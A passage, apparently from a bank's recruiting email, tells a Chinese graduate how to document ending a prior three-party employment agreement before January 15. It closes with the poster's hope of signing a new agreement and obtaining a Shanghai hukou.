3、原签约单位或学校不能出具材料的,请通过电子邮件形式向该单位办公邮箱或HR工作人员办公邮箱正式发信申请解约,并将此邮件抄送本邮箱;
4、原签约单位或其HR工作人员不具有办公邮箱的,请提供该单位人事工作人员的姓名、职务、联系方式(办公电话或办公邮箱),供我们核实解约情况。
以上材料或信息,请务必在1月15日前向我行提供。
如您可以直接从原单位手中获取三方协议,并可以和我行签约的(请与学校院系或就业指导中心联系核实,据我们了解部分院校在发放三方协议时会进行登记,如您当时登记的是原签约单位,后直接凭该三方与我行签约,学校将不予承认),请向我们发送邮件或致电联系三方签订事宜。
联系电话:xxxxxx
如果您经考虑,决定不与我行签订就业协议的,也请通过邮件告知我们。
谢谢!

开学希望办新三方顺利,希望顺利拿到上海户口。